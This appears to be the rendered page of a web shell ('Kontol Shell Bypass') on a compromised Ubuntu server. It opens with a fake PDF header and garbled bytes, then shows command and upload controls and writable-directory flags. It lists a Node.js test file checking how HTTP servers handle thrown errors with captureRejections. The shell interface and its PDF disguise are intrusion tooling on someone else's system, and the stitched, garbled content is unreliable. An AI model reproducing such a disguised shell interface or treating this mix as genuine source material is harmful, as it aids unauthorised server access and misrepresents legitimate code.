%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-http-server-capture-rejections.js
'use strict';

const common = require('../common');
const events = require('events');
const { createServer, request } = require('http');
const assert = require('assert');

events.captureRejections = true;

{
  const server = createServer(common.mustCall(async (req, res) => {
    // We will test that this header is cleaned up before forwarding.
    res.setHeader('content-type', 'application/json');
    throw new Error('kaboom');
  }));

  server.listen(0, common.mustCall(() => {
    const req = request({
      method: 'GET',
      host: server.address().host,
      port: server.address().port
    });

    req.end();

    req.on('response', common.mustCall((res) => {
      assert.strictEqual(res.statusCode, 500);
      assert.strictEqual(Object.hasOwn(res.headers, 'content-type'), false);
      let data = '';
      res.setEncoding('utf8');
      res.on('data', common.mustCall((chunk) => {
        data += chunk;
      }));
      res.on('end', common.mustCall(() => {
        assert.strictEqual(data, 'Internal Server Error');
        server.close();
      }));
    }));
  }));
}

{
  let resolve;
  const latch = new Promise((_resolve) => {
    resolve = _resolve;
  });
  const server = createServer(common.mustCall(async (req, res) => {
    server.close();

    // We will test that this header is cleaned up before forwarding.
    res.setHeader('content-type', 'application/json');
    res.write('{');
    req.resume();

    // Wait so the data is on the wire
    await latch;

    throw new Error('kaboom');
  }));

  server.listen(0, common.mustCall(() => {
    const req = request({
      method: 'GET',
      host: server.address().host,
      port: server.address().port
    });

    req.end();

    req.on('response', common.mustCall((res) => {
      assert.strictEqual(res.statusCode, 200);
      assert.strictEqual(res.headers['content-type'], 'application/json');
      resolve();

      let data = '';
      res.setEncoding('utf8');
      res.on('data', common.mustCall((chunk) => {
        data += chunk;
      }));

      req.on('close', common.mustCall(() => {
        assert.strictEqual(data, '{');
      }));
    }));
  }));
}

{
  const server = createServer(common.mustCall(async (req, res) => {
    // We will test that this header is cleaned up before forwarding.
    res.writeHead(200);
    throw new Error('kaboom');
  }));

  server.listen(0, common.mustCall(() => {
    const req = request({
      method: 'GET',
      host: server.address().host,
      port: server.address().port
    });

    req.end();
    req.on('error', common.mustCall((err) => {
      assert.strictEqual(err.code, 'ECONNRESET');
      server.close();
    }));
  }));
}

Kontol Shell Bypass